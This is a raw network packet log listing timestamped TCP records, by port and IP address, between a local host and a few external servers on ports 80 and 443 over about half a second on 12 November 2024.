Nov 12, 2024 13:35:38.562243938 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.562269926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.562299967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.562302113 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.562309980 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.562321901 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.562324047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.562335968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.562349081 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.562355042 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.562365055 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.562412024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.562572956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.562628984 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.562738895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.562741041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.562747002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.562750101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.562788963 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.562824011 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.563004971 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.563021898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.563039064 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.563040972 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.563051939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.563054085 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.563071012 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.563080072 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.563112020 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.563519001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.563530922 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.563541889 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.563553095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.563564062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.563570976 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.563576937 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.563606977 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.563606977 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.564064026 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.564076900 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.564086914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.564097881 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.564110041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.564121962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.564131975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.564136982 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.564143896 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.564162970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.564176083 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.564188004 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.564199924 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.564199924 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.564199924 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.564246893 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.564959049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.564975977 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.564987898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.564999104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565010071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565021992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565028906 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.565032959 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565042019 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.565046072 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565057039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565068007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565069914 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.565083027 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565123081 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.565568924 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.565805912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565819025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565859079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565871000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565876961 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.565880060 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565892935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565905094 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565916061 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565927029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565933943 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.565933943 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.565937996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565948009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.565963984 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.566263914 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.566757917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.566770077 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.566780090 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.566798925 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.566809893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.566821098 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.566831112 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.566840887 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.566840887 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.566840887 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.566862106 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.566878080 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.578341007 CET	443	62196	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.578533888 CET	443	62196	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.578658104 CET	62196	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.578757048 CET	62196	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.578768969 CET	443	62196	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.581908941 CET	62202	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.581955910 CET	443	62202	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.582050085 CET	62202	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.582307100 CET	62202	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.582321882 CET	443	62202	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.586535931 CET	443	62197	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.586584091 CET	443	62197	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.586633921 CET	62197	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.586846113 CET	62197	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.586862087 CET	443	62197	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.586878061 CET	62197	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.586884975 CET	443	62197	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.589692116 CET	62203	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.589710951 CET	443	62203	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.589776039 CET	62203	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.590019941 CET	62203	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.590033054 CET	443	62203	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.605016947 CET	443	62198	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.605078936 CET	443	62198	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.605137110 CET	62198	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.605974913 CET	62198	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.605983973 CET	443	62198	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.605993032 CET	62198	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.605998039 CET	443	62198	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.608186960 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.608709097 CET	62204	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.608736038 CET	443	62204	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.609123945 CET	62204	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.609178066 CET	62204	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.609184027 CET	443	62204	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.613107920 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.622103930 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.622148037 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.622190952 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.622199059 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.622246027 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.640804052 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.640829086 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.640894890 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.640922070 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.641052961 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.660392046 CET	443	62199	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.660414934 CET	443	62199	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.660444021 CET	443	62199	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.660471916 CET	62199	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.660509109 CET	62199	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.660748959 CET	62199	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.660756111 CET	443	62199	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.660783052 CET	62199	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.660787106 CET	443	62199	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.663731098 CET	62205	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.663768053 CET	443	62205	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.663834095 CET	62205	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.664045095 CET	62205	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.664057016 CET	443	62205	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.695595026 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.695616007 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.695673943 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.695699930 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.695730925 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.695744991 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.759413958 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.759434938 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.759541035 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.759556055 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.759593964 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.771254063 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.771317959 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.771320105 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.771331072 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.771367073 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.877865076 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.877890110 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.877940893 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.877959013 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.877984047 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.878002882 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.879147053 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.879172087 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.879199982 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.879208088 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.879240036 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.879256964 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.884368896 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.884388924 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.884426117 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.884454966 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.884505987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.884516954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.884530067 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.884552002 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.884569883 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.884701014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.884711981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.884839058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.884840012 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.884848118 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.884859085 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.884871006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.884879112 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.884881973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.884893894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.884910107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.884913921 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.884913921 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.884947062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.885205030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.885215044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.885250092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.885262966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.885271072 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.885276079 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.885282040 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.885293961 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.885301113 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.885303974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.885349989 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.885370970 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.885703087 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.885714054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.885725021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.885735035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.885754108 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.885799885 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.885958910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.886018991 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.886079073 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.886090040 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.886101007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.886112928 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.886123896 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.886131048 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.886137009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.886147976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.886162996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.886192083 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.886192083 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.886192083 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.886220932 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.886985064 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.886995077 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.887005091 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.887017965 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.887029886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.887041092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.887051105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.887063980 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.887068033 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.887079954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.887115955 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.887115955 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.978274107 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.978293896 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.978339911 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.978358030 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.978379011 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.978396893 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.997354984 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.997370958 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.997406006 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.997415066 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.997463942 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.001928091 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.001980066 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.001993895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002023935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.002023935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.002048969 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.002094984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002106905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002151966 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.002151966 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.002212048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002301931 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.002312899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002326012 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002337933 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002350092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002355099 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.002382994 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.002382994 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.002640963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002644062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002649069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002652884 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002660036 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002671957 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002685070 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002696991 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.002700090 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.002723932 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.002748966 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.003093004 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003104925 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003150940 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.003226042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003237963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003248930 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003261089 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003273010 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003279924 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.003284931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003305912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003320932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003334045 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.003334045 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.003348112 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.003406048 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.003711939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003725052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003735065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003746986 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003758907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003767967 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.003770113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003782034 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003796101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.003798008 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.003838062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.003853083 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.004189968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004199982 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004210949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004223108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004234076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004240990 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.004250050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004261971 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004271984 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.004271984 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.004273891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004458904 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.004611969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004623890 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004635096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004657984 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.004678965 CET	51556	80	192.168.2.6	185.215.113.206
